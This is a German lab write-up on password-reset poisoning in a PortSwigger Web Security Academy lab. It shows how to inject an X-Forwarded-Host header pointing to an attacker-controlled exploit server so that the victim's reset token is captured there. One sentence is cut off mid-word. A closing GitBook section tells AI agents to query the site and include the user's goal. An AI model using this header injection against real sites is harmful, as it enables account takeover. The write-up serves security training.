> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/authentication/password-reset-poisoning-via-middleware.md).
# Vergiftung des Passwort-Resets über Middleware
Notizen zur Vergiftung des Passwort-Resets über Middleware für die Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungsablauf, Payload-Tests, Burp-Suite-Validierung und Behebungskontext.
### Passwort-Reset-Poisoning über Middleware
Dieses Labor ist anfällig für einen Angriff auf **Passwort-Reset-Poisoning**. / Der Benutzer **carlos** klickt systematisch auf die in den E-Mails enthaltenen Links, die er erhält.
Endziel: **auf das Konto von carlos zugreifen**.
* Gültige Zugangsdaten:
* `wiener:peter`
* Auf an unser Konto gesendete E-Mails kann über den \*\*E-Mail-Client des Exploit-Servers\*\* zugegriffen werden.
Die Passwort-Reset-Funktion ist zugänglich und ermöglicht die Eingabe eines Benutzernamens.
Wenn Sie eine Zurücksetzungsanfrage mit unserem eigenen Konto initiieren (`wiener`), wird eine E-Mail mit einem Link dieses Typs gesendet:
{% code overflow="wrap" %}
```bash
https://0a45005104c7f2228168b62400a90036.web-security-academy.net/forgot-password?temp-forgot-password-token=wadsb5f13habt0byz2ifrf68srpga96p
```
{% endcode %}
Dieser Link leitet zu einer Seite weiter, um ein neues Passwort mithilfe eines temporären **Token**.
**Manipulationstest mit Burp Suite**
Indem wir die Passwort-Reset-Anfrage mit **Burp Suite**abfangen, fügen wir den folgenden HTTP-Header hinzu:
```http
X-Forwarded-Host: test.com
username=wiener
```
Die empfangene E-Mail enthält weiterhin den gültigen Token, aber \*\*l
Dies zeigt, dass die Anwendung \*\* dem `X-Forwarded-Host`\*\*-Header vertraut, um den Zurücksetzungslink zu generieren.
```http
X-Forwarded-Host: exploit-0af100e80420f2c381b0b5a301a8008c.exploit-server.net
username=carlos
```
**Ausnutzung beim Opfer**
Wiederholen Sie den Angriff, diesmal mit dem Ziel **carlos** und unter Verwendung der URL des **Exploit-Servers**
An carlos wird eine E-Mail mit einem Zurücksetzungslink gesendet **auf unserem Exploit-Server gehostet**, mit einem gültigen **Token**:
```bash
/forgot-password?temp-forgot-password-token=r5jf8u0c48zh54pgoqx8jol619pboi3i
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/de/web/authentication/password-reset-poisoning-via-middleware.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
